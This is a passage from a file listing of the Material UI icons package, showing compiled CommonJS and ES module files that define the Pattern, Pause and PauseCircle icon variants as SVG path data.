    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'Pattern');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PatternTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m2 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-.02 6c-.74 0-1.37.4-1.72 1h-2.54c-.34-.6-.98-1-1.72-1s-1.37.4-1.72 1H8.41l3.07-3.07c.17.04.34.07.52.07 1.1 0 2-.9 2-2 0-.18-.03-.35-.07-.51l3.56-3.56c.16.04.33.07.51.07 1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2c0 .18.03.35.07.51l-3.56 3.56c-.16-.04-.33-.07-.51-.07-1.1 0-2 .9-2 2 0 .18.03.35.07.51l-3.56 3.56C6.35 16.03 6.18 16 6 16c-1.1 0-2 .9-2 2s.9 2 2 2c.74 0 1.37-.4 1.72-1h2.57c.34.6.98 1 1.72 1s1.37-.4 1.72-1h2.55c.34.6.98 1 1.72 1 1.1 0 2-.9 2-2-.02-1.1-.92-2-2.02-2\"\n}), 'PatternTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pause.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'Pause');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pause.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'Pause');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'PauseCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'PauseCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm4 0h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PauseCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleFilledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm4 0h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PauseCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1m2-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m2-4c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\"\n}), 'PauseCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1m2-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m2-4c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\"\n}), 'PauseCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlineSharp');"
  },
  {
